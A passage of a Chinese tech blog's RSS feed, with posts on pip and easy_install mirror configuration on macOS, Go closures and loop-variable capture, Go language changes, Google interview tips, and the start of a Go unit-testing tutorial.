&lt;p&gt;命令中的 &lt;code&gt;CPBA_X64FRE_ZH-CN_DV9&lt;/code&gt; 是我的镜像名，你需要根据自己的情况修改。&lt;/p&gt;
&lt;p&gt;复制完成也意味着整个制作过程的完成。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://mcfly.cn/make-windows-installation-drive-on-mac/&quot;&gt;利用macOS制作Windows 10安装U盘&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>macOS</category></item><item><title>修改 macOS 上的 easy_install 和 pip 为国内清华镜像源</title><link>https://www.sulinehk.com/post/modify-easy_install-and-pip-for-china-tsinghua-mirror-on-macos/</link><guid isPermaLink="true">https://www.sulinehk.com/post/modify-easy_install-and-pip-for-china-tsinghua-mirror-on-macos/</guid><description>介绍了如何修改 macOS 上的 easy_install 和 pip 的配置文件设置为国内清华镜像源。</description><pubDate>Thu, 30 May 2019 11:35:08 GMT</pubDate><content:encoded>&lt;p&gt;本文介绍了如何通过修改 macOS 上的 easy_install 和 pip 的配置文件，设置为国内清华镜像源，从而加快速度。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;easy_install&lt;/h2&gt;
&lt;p&gt;如果没有对应的文件，则需手动创建。&lt;/p&gt;
&lt;p&gt;文件地址：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;~/.pydistutils.cfg
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;替换成如下文本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[easy_install]
index_url = https://pypi.tuna.tsinghua.edu.cn/simple
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;pip&lt;/h2&gt;
&lt;p&gt;如果没有对应的文件，则需手动创建。&lt;/p&gt;
&lt;p&gt;文件地址：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;~/.pip/pip.conf
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;替换成如下文本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[global]
index-url = https://pypi.tuna.tsinghua.edu.cn/simple
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><category>macOS</category></item><item><title>Go 语言闭包详解</title><link>https://www.sulinehk.com/post/golang-closure-details/</link><guid isPermaLink="true">https://www.sulinehk.com/post/golang-closure-details/</guid><description>通过几个例子讲解了 Go 语言中跟闭包有关的知识点以及由闭包引用产生的问题。</description><pubDate>Sat, 09 Mar 2019 08:28:02 GMT</pubDate><content:encoded>&lt;p&gt;什么是闭包？&lt;strong&gt;闭包是由函数和与其相关的引用环境组合而成的实体。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;下面就来通过几个例子来说明 Go 语言中的闭包以及由闭包引用产生的问题。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;函数变量（函数值）&lt;/h2&gt;
&lt;p&gt;在说明闭包之前，先来了解一下什么是&lt;strong&gt;函数变量&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;在 Go 语言中，函数被看作是&lt;strong&gt;第一类值&lt;/strong&gt;，这意味着函数像变量一样，有类型、有值，其他普通变量能做的事它也可以。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func square(x int) {
	println(x * x)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ol&gt;
&lt;li&gt;直接调用：&lt;code&gt;square(1)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;把函数当成变量一样赋值：&lt;code&gt;s := square&lt;/code&gt;；接着可以调用这个函数变量：&lt;code&gt;s(1)&lt;/code&gt;。
&lt;strong&gt;注意：这里 &lt;code&gt;square&lt;/code&gt; 后面没有圆括号，调用才有。&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;调用 &lt;code&gt;nil&lt;/code&gt; 的函数变量会导致 panic。&lt;/li&gt;
&lt;li&gt;函数变量的零值是 &lt;code&gt;nil&lt;/code&gt;，这意味着它可以跟 &lt;code&gt;nil&lt;/code&gt; 比较，但两个函数变量之间不能比较。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;闭包&lt;/h2&gt;
&lt;p&gt;现在开始通过例子来说明闭包：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func incr() func() int {
	var x int
	return func() int {
		x++
		return x
	}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;调用这个函数会返回一个函数变量。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;i := incr()&lt;/code&gt;：通过把这个函数变量赋值给 &lt;code&gt;i&lt;/code&gt;，&lt;code&gt;i&lt;/code&gt; 就成为了一个&lt;strong&gt;闭包&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;所以 &lt;code&gt;i&lt;/code&gt; 保存着对 &lt;code&gt;x&lt;/code&gt; 的引用，可以想象 &lt;strong&gt;i 中有着一个指针指向 x&lt;/strong&gt; 或 &lt;strong&gt;i 中有 x 的地址&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;由于 &lt;code&gt;i&lt;/code&gt; 有着指向 &lt;code&gt;x&lt;/code&gt; 的指针，所以可以修改 &lt;code&gt;x&lt;/code&gt;，且保持着状态：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;println(i()) // 1
println(i()) // 2
println(i()) // 3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是说，&lt;code&gt;x&lt;/code&gt; 逃逸了，它的生命周期没有随着它的作用域结束而结束。&lt;/p&gt;
&lt;p&gt;但是这段代码却不会递增：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;println(incr()()) // 1
println(incr()()) // 1
println(incr()()) // 1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是因为这里调用了三次 &lt;code&gt;incr()&lt;/code&gt;，返回了三个闭包，这三个闭包引用着三个不同的 &lt;code&gt;x&lt;/code&gt;，它们的状态是各自独立的。&lt;/p&gt;
&lt;h2&gt;闭包引用&lt;/h2&gt;
&lt;p&gt;现在开始通过例子来说明由闭包引用产生的问题：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;x := 1
f := func() {
	println(x)
}
x = 2
x = 3
f() // 3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;因为闭包对外层词法域变量是&lt;strong&gt;引用&lt;/strong&gt;的，所以这段代码会输出 &lt;strong&gt;3&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;可以想象 &lt;code&gt;f&lt;/code&gt; 中保存着 &lt;code&gt;x&lt;/code&gt; 的地址，它使用 &lt;code&gt;x&lt;/code&gt; 时会直接解引用，所以 &lt;code&gt;x&lt;/code&gt; 的值改变了会导致 &lt;code&gt;f&lt;/code&gt; 解引用得到的值也会改变。&lt;/p&gt;
&lt;p&gt;但是，这段代码却会输出 &lt;strong&gt;1&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;x := 1
func() {
	println(x) // 1
}()
x = 2
x = 3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;把它转换成这样的形式就容易理解了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;x := 1
f := func() {
	println(x)
}
f() // 1
x = 2
x = 3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是因为 &lt;code&gt;f&lt;/code&gt; 调用时就已经解引用取值了，这之后的修改就与它无关了。&lt;/p&gt;
&lt;p&gt;不过如果再次调用 &lt;code&gt;f&lt;/code&gt; 还是会输出 &lt;strong&gt;3&lt;/strong&gt;，这也再一次证明了 &lt;code&gt;f&lt;/code&gt; 中保存着 &lt;code&gt;x&lt;/code&gt; 的地址。&lt;/p&gt;
&lt;p&gt;可以通过在闭包内外打印所引用变量的地址来证明：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;x := 1
func() {
	println(&amp;amp;x) // 0xc0000de790
}()
println(&amp;amp;x) // 0xc0000de790
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到引用的是同一个地址。&lt;/p&gt;
&lt;h2&gt;循环闭包引用&lt;/h2&gt;
&lt;p&gt;接下来在三个例子中说明由循环内的闭包引用所产生的问题：&lt;/p&gt;
&lt;h3&gt;第一个例子&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;for i := 0; i &amp;lt; 3; i++ {
	func() {
		println(i) // 0, 1, 2
	}()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这段代码相当于：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for i := 0; i &amp;lt; 3; i++ {
	f := func() {
		println(i) // 0, 1, 2
	}
	f()
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;每次迭代后都对 &lt;code&gt;i&lt;/code&gt; 进行了解引用并使用得到的值且不再使用，所以这段代码会正常输出。&lt;/p&gt;
&lt;h3&gt;第二个例子&lt;/h3&gt;
&lt;p&gt;正常代码：输出 &lt;em&gt;&lt;strong&gt;0, 1, 2&lt;/strong&gt;&lt;/em&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var dummy [3]int
for i := 0; i &amp;lt; len(dummy); i++ {
	println(i) // 0, 1, 2
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然而这段代码会输出 &lt;strong&gt;3&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var dummy [3]int
var f func()
for i := 0; i &amp;lt; len(dummy); i++ {
	f = func() {
		println(i)
	}
}
f() // 3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;前面讲到闭包取引用，所以这段代码应该输出 &lt;strong&gt;i 最后的值&lt;/strong&gt; &lt;strong&gt;2&lt;/strong&gt; 对吧？&lt;/p&gt;
&lt;p&gt;不对。这是因为 &lt;code&gt;i&lt;/code&gt; 最后的值并不是 &lt;strong&gt;2&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;把循环转换成这样的形式就容易理解了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var dummy [3]int
var f func()
for i := 0; i &amp;lt; len(dummy); {
	f = func() {
		println(i)
	}
	i++
}
f() // 3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;i&lt;/code&gt; 自加到 &lt;strong&gt;3&lt;/strong&gt; 才会跳出循环，所以循环结束后 &lt;code&gt;i&lt;/code&gt; 最后的值为 &lt;strong&gt;3&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;所以用 &lt;code&gt;for range&lt;/code&gt; 来实现这个例子就不会这样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var dummy [3]int
var f func()
for i := range dummy {
	f = func() {
		println(i)
	}
}
f() // 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这是因为 &lt;code&gt;for range&lt;/code&gt; 和 &lt;code&gt;for&lt;/code&gt; 底层实现上的不同。&lt;/p&gt;
&lt;h3&gt;第三个例子&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;var funcSlice []func()
for i := 0; i &amp;lt; 3; i++ {
	funcSlice = append(funcSlice, func() {
		println(i)
	})

}
for j := 0; j &amp;lt; 3; j++ {
	funcSlice[j]() // 3, 3, 3
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出序列为 &lt;strong&gt;3, 3, 3&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;看了前面的例子之后这里就容易理解了：
这三个函数引用的都是同一个变量（&lt;code&gt;i&lt;/code&gt;）的地址，所以之后 &lt;code&gt;i&lt;/code&gt; 递增，解引用得到的值也会递增，所以这三个函数都会输出 &lt;strong&gt;3&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;添加输出地址的代码可以证明：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var funcSlice []func()
for i := 0; i &amp;lt; 3; i++ {
	println(&amp;amp;i) // 0xc0000ac1d0 0xc0000ac1d0 0xc0000ac1d0
	funcSlice = append(funcSlice, func() {
		println(&amp;amp;i)
	})

}
for j := 0; j &amp;lt; 3; j++ {
	funcSlice[j]() // 0xc0000ac1d0 0xc0000ac1d0 0xc0000ac1d0
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到三个函数引用的都是 &lt;code&gt;i&lt;/code&gt; 的地址。&lt;/p&gt;
&lt;h3&gt;解决方法&lt;/h3&gt;
&lt;h4&gt;1. 声明新变量：&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;声明新变量：&lt;code&gt;j := i&lt;/code&gt;，且把之后对 &lt;code&gt;i&lt;/code&gt; 的操作改为对 &lt;code&gt;j&lt;/code&gt; 操作。&lt;/li&gt;
&lt;li&gt;声明新同名变量：&lt;code&gt;i := i&lt;/code&gt;。&lt;strong&gt;注意：这里短声明右边是外层作用域的 &lt;code&gt;i&lt;/code&gt;，左边是新声明的作用域在这一层的 &lt;code&gt;i&lt;/code&gt;&lt;/strong&gt;。原理同上。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这相当于为这三个函数各声明一个变量，一共三个，这三个变量初始值分别对应循环中的 &lt;code&gt;i&lt;/code&gt; 并且之后不会再改变。&lt;/p&gt;
&lt;h4&gt;2. 声明新匿名函数并传参：&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;var funcSlice []func()
for i := 0; i &amp;lt; 3; i++ {
	func(i int) {
		funcSlice = append(funcSlice, func() {
			println(i)
		})
	}(i)

}
for j := 0; j &amp;lt; 3; j++ {
	funcSlice[j]() // 0, 1, 2
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在 &lt;code&gt;println(i)&lt;/code&gt; 使用的 &lt;code&gt;i&lt;/code&gt; 是通过函数参数传递进来的，并且 Go 语言的函数参数是按值传递的。&lt;/p&gt;
&lt;p&gt;所以相当于在这个新的匿名函数内声明了三个变量，被三个闭包函数独立引用。原理跟第一种方法是一样的。&lt;/p&gt;
&lt;p&gt;这里的解决方法可以用在大多数跟闭包引用有关的问题上，不局限于第三个例子。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://yar999.gitbooks.io/gopl-zh/content/ch5/ch5-06.html&quot;&gt;Go 语言圣经 - 匿名函数&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>Go 语言的 4 个特性改动</title><link>https://www.sulinehk.com/post/golang-changes-to-the-language/</link><guid isPermaLink="true">https://www.sulinehk.com/post/golang-changes-to-the-language/</guid><description>介绍了 Go 语言不断更新以来 4 个重要的、不太常见的特性改动。</description><pubDate>Thu, 14 Feb 2019 14:11:27 GMT</pubDate><content:encoded>&lt;p&gt;在 &lt;a href=&quot;https://golang.org/doc/go1.1&quot;&gt;Go1.1&lt;/a&gt; 可以看到某个版本的 Go 语言一些改动文档（修改 URL 参数查看别的版本）。&lt;/p&gt;
&lt;p&gt;其中以 &lt;a href=&quot;https://golang.org/doc/go1.1#language&quot;&gt;Go1.1#language&lt;/a&gt; 标签下关于语言特性方面的尤为重要。&lt;/p&gt;
&lt;p&gt;在每个 Go 语言新版本发布后浏览一下，是个良好的习惯。&lt;/p&gt;
&lt;p&gt;下面我会从 Go1.1 到 Go1.11 以来挑 4 个值得讨论的改动来跟大家分享一下。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;三索引切片&lt;/h2&gt;
&lt;p&gt;版本: Go1.2&lt;/p&gt;
&lt;p&gt;在现有数组或切片下，使用第二个冒号来指示新生成的切片的容量。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;func TestThreeIndex(t *testing.T) {
	s := [10]int{0, 1, 2, 3, 4, 5, 6, 7, 8, 9}
	s1 := s[2:4]            // 等价于 s[2:4:cap(s)]，省略取 cap(s)。
	t.Log(s1)               // [2, 3]
	t.Log(len(s1), cap(s1)) // len = 2, cap = 8
	// 可以访问在 cap 以内的元素并且如果访问在 len 和 cap 之间的元素就可以访问到底层数组。
	t.Log(s1[0:7]) // [2, 3, 4, 5, 6, 7, 8, 9]

	// 通过限制 cap 从而限制新的切片访问底层数组的能力。
	// cap 取值必须小于或等于底层数组 cap。
	s2 := s[2:4:7] // cap = 7 - 2 = 5
	t.Log(s2) // [2, 3]
	t.Log(len(s2), cap(s2)) // len = 2, cap = 5
	t.Log(s2[0:5]) // [2, 3, 4, 5, 6]
	// error: slice bounds out of range
	// 越界
	t.Log(s2[0:7])
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;for range 简便写法&lt;/h2&gt;
&lt;p&gt;版本：Go1.4&lt;/p&gt;
&lt;p&gt;for range 不需要索引和索引对应的元素值的简便写法。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;不需要索引。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;for _, v := range s {
	t.Log(v)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;不需要索引对应的值。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;for i := range s {
	t.Log(i)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;（Go1.4新增）不需要索引和索引对应的值，单纯地把容器类型元素的个数作为迭代的次数。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;for range s {
	...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;结构体类型转换忽略标签&lt;/h2&gt;
&lt;p&gt;版本：Go1.8&lt;/p&gt;
&lt;p&gt;结构体类型转换时，标签会被忽略。也就是说，标签不同的结构体之间也可以互相转换类型。&lt;/p&gt;
&lt;p&gt;注意：正常情况下（没有标签）的结构体类型之间的转换只有字段名、类型和声明的顺序全部相同才合法。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type T1 struct {
	X int `json:&quot;foo&quot;`
}
type T2 struct {
	X int `json:&quot;bar&quot;`
}
var v1 T1
var v2 T2
v1 = T1(v2) // 现在是合法的
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;类型别名&lt;/h2&gt;
&lt;p&gt;版本：Go1.9&lt;/p&gt;
&lt;p&gt;类型别名：T1 &lt;strong&gt;完全&lt;/strong&gt;是 T2 这个类型，这个新设计是为了重构和兼容旧代码。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type T1 = T2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;类型声明：T1 的底层数据类型是 T1。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;type T1 T2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;一个简单的区别就是：类型声明和底层类型赋值时需要转换，而类型别名不需要。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://golang.org/doc/&quot;&gt;Go Doc&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://colobu.com/2017/06/26/learn-go-type-aliases/&quot;&gt;了解 Go 1.9 的类型别名&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Golang</category></item><item><title>【转】Google 技术面试经验总结</title><link>https://www.sulinehk.com/post/how-to-crack-google-coding-interview/</link><guid isPermaLink="true">https://www.sulinehk.com/post/how-to-crack-google-coding-interview/</guid><description>总结了 Google 技术面试的流程和经验，还举了几个 leetcode 上的例子来说明边界条件测试。</description><pubDate>Wed, 23 Jan 2019 10:45:49 GMT</pubDate><content:encoded>&lt;p&gt;古人云：取乎其上，得乎其中；取乎其中，得乎其下；取乎其下，则无所得矣。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;面试流程&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;在线评定：一到两个算法题，通过分享 Google Docs 链接的方式来让你输入代码。&lt;/li&gt;
&lt;li&gt;电话面试：共有两轮，一轮一个工程师打电话，也是通过分享链接的方式。&lt;/li&gt;
&lt;li&gt;现场面试：邀请到 Google 办公室，面试一天，大概 4 轮，包含算法和系统设计。&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;技巧&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;练习在 Google Docs 或白板上写代码或者手写代码&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;练习在有时间限制的情况下编写代码&lt;/p&gt;
&lt;p&gt;一轮大概有 45 分钟:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;5 分钟：介绍自己或简历&lt;/li&gt;
&lt;li&gt;5-10 分钟：思考题目&lt;/li&gt;
&lt;li&gt;20-25 分钟：编写代码&lt;/li&gt;
&lt;li&gt;5 分钟：测试&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;练习一边写代码一边跟面试官讲解思路&lt;/p&gt;
&lt;p&gt;这样在思路不是很顺畅的时候可以得到提示，不能不说话。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;练习人工测试代码&lt;/p&gt;
&lt;p&gt;写完后把代码放在脑子里过一遍。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;练习编写边界条件测试&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;预期的输入&lt;/li&gt;
&lt;li&gt;空输入&lt;/li&gt;
&lt;li&gt;空指针输入&lt;/li&gt;
&lt;li&gt;异常输入&lt;/li&gt;
&lt;li&gt;大输入&lt;/li&gt;
&lt;li&gt;其他边界条件&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;例子: 反转链表（&lt;a href=&quot;https://leetcode-cn.com/problems/reverse-linked-list/&quot;&gt;leetcode-206-反转链表&lt;/a&gt;）&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;常规情况: 带有 5 个元素的正常链表&lt;/li&gt;
&lt;li&gt;边界条件:
&lt;ul&gt;
&lt;li&gt;1 个元素的链表&lt;/li&gt;
&lt;li&gt;0 个元素的链表&lt;/li&gt;
&lt;li&gt;空指针&lt;/li&gt;
&lt;li&gt;长链表&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;特殊情况: 有环的链表&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;澄清面试官的问题&lt;/p&gt;
&lt;p&gt;例子: 正则表达式匹配 (&lt;a href=&quot;https://leetcode-cn.com/problems/regular-expression-matching/&quot;&gt;leetcode-10-正则表达式匹配&lt;/a&gt;)&lt;/p&gt;
&lt;p&gt;应该问的问题:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;输入只有字母吗？&lt;/li&gt;
&lt;li&gt;输入包含点号和星号吗？&lt;/li&gt;
&lt;li&gt;匹配字符串是格式良好的吗？&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;从简单的暴力实现开始&lt;/p&gt;
&lt;p&gt;例子: 搜索二维矩阵 (&lt;a href=&quot;https://leetcode-cn.com/problems/search-a-2d-matrix-ii/&quot;&gt;leetcode-240-搜索二维矩阵II&lt;/a&gt;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;计算每一个算法的时间复杂度和空间复杂度&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;期待&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;代码的正确性&lt;/li&gt;
&lt;li&gt;代码的质量&lt;/li&gt;
&lt;li&gt;手写代码的话字迹要清晰&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;p&gt;本文总结自视频 &lt;a href=&quot;https://www.bilibili.com/video/av41269529&quot;&gt;Google谷歌技术面试经验分享 | Google软件工程师 | StyleInBeta&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Misc</category></item><item><title>Go 语言单元测试实践</title><link>https://www.sulinehk.com/post/golang-unit-testing/</link><guid isPermaLink="true">https://www.sulinehk.com/post/golang-unit-testing/</guid><description>介绍了软件测试的定义和测试驱动开发（TDD）的由来。并通过一个示例展示了 Go 语言单元测试的实践过程。</description><pubDate>Mon, 10 Dec 2018 02:34:40 GMT</pubDate><content:encoded>&lt;p&gt;什么是&lt;strong&gt;软件测试&lt;/strong&gt;？&lt;/p&gt;
&lt;p&gt;软件测试是一个过程，该过程对软件（计算机程序）进行各种操作来发现软件错误。&lt;/p&gt;
&lt;p&gt;为什么要进行软件测试？&lt;/p&gt;
&lt;p&gt;进行软件测试可以帮助我们验证软件的各种功能正常，保证软件的正常工作从而提高软件质量。&lt;strong&gt;并且在实践中已被证明是颇有成效的&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;测试驱动开发&lt;/strong&gt;的由来：&lt;/p&gt;
&lt;p&gt;一个从大量实践中得出的结论：人们发现在软件开发周期中，软件错误每进入到下一个阶段要修正它所付出的时间和人力会出人意表的翻上十倍。所以更早地进行软件测试可以更早地发现软件错误，从而大大减少后期修正的成本。后来又有人提出了
&lt;strong&gt;测试驱动开发（TDD: Test-driven development）&lt;/strong&gt;，主体思想就是&lt;strong&gt;先编写测试程序，再实现程序功能&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;下面就来介绍如何在 Go 语言中进行软件测试中较为重要的一环：单元测试。&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;单元测试简介&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;单元测试就是针对程序最小单元的测试&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;最小单元在过程化编程中指的是&lt;strong&gt;函数&lt;/strong&gt;；在面向对象编程中指的是&lt;strong&gt;方法&lt;/strong&gt;。&lt;/p&gt;
&lt;h2&gt;Go 语言对软件测试的支持&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;testing 包：标准库中一个简单、强大的测试框架。&lt;/li&gt;
&lt;li&gt;go test 命令：&lt;code&gt;go tool&lt;/code&gt; 中一个按照约定和组织的测试代码的命令。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;规定（必须遵循的条例）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;只有以 &lt;code&gt;_test.go&lt;/code&gt; 结尾的文件才会被视作是测试文件。如：&lt;code&gt;swap_test.go&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;测试函数命名必须以 &lt;code&gt;Test&lt;/code&gt; 开头，而后紧接着的第一个字母必须大写。如：&lt;code&gt;TestSwap&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;测试函数必须传入一个指向 &lt;code&gt;testing.T&lt;/code&gt; 或 &lt;code&gt;testing.B&lt;/code&gt;（基准测试）的指针作为参数。如：&lt;code&gt;func TestSwap(t *testing.T)&lt;/code&gt;，且没有返回值。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;建议（最佳方法实践条例）&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;将测试文件和要测试的代码放在同一个包（Go 语言组织也建议包名和文件所在目录名相同）。也就是说将这两个文件的 &lt;code&gt;package xxx&lt;/code&gt;
写成相同的。&lt;/li&gt;
&lt;li&gt;将测试文件命名为 &lt;code&gt;要测试的代码文件名_test.go&lt;/code&gt;。如：&lt;code&gt;util.go&lt;/code&gt; 的测试文件名应为 &lt;code&gt;util_test.go&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;将测试函数命名为 &lt;code&gt;Test要测试的函数名称&lt;/code&gt;。如：&lt;code&gt;Swap&lt;/code&gt; 函数的测试函数命名应为 &lt;code&gt;TestSwap&lt;/code&gt;，这个函数应只包含测试 &lt;code&gt;Swap&lt;/code&gt; 函数的内容。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Go 语言单元测试实践&lt;/h2&gt;
&lt;h3&gt;示例函数说明&lt;/h3&gt;
&lt;p&gt;这里有一个用 Go 语言编写的 &lt;code&gt;Swap&lt;/code&gt; 函数（交换切片中的两个值）：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;文件名：&lt;code&gt;swap.go&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;包名：&lt;code&gt;swap&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;测试文件名：&lt;code&gt;swap_test.go&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;测试文件包名：&lt;code&gt;swap&lt;/code&gt;。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这两个文件都放在 &lt;code&gt;$GOPATH/src/swap/&lt;/code&gt; 目录下。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;测试整个包: &lt;code&gt;go test swap&lt;/code&gt;。&lt;code&gt;swap&lt;/code&gt; 为基于 &lt;code&gt;$GOPATH/src/&lt;/code&gt; 的相对目录。&lt;/li&gt;
&lt;li&gt;测试单个测试函数: &lt;code&gt;go test swap -run TestSwap&lt;/code&gt;。&lt;code&gt;swap&lt;/code&gt; 同样为相对目录，&lt;code&gt;TestSwap&lt;/code&gt; 为测试函数名。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下面会展示如何为这个 &lt;code&gt;Swap&lt;/code&gt; 函数&lt;strong&gt;编写单元测试、将单元测试改写成表驱动测试的形式并显示代码的测试覆盖率&lt;/strong&gt;。&lt;/p&gt;
&lt;h3&gt;示例函数代码&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;package swap

import (
	&quot;errors&quot;
)

// Swap exchanges s[i] and s[j].
func Swap(s []interface{}, i, j int) error {
	if s == nil {
		return errors.New(&quot;slice can&apos;t be nil&quot;)
	}
	if (i &amp;lt; 0 || i &amp;gt;= len(s)) || (j &amp;lt; 0 || j &amp;gt;= len(s)) {
		return errors.New(&quot;illegal index&quot;)
	}

	s[i], s[j] = s[j], s[i]

	return nil
}

// IsSameSlice determines two slice is it the same.
func IsSameSlice(a, b []interface{}) bool {
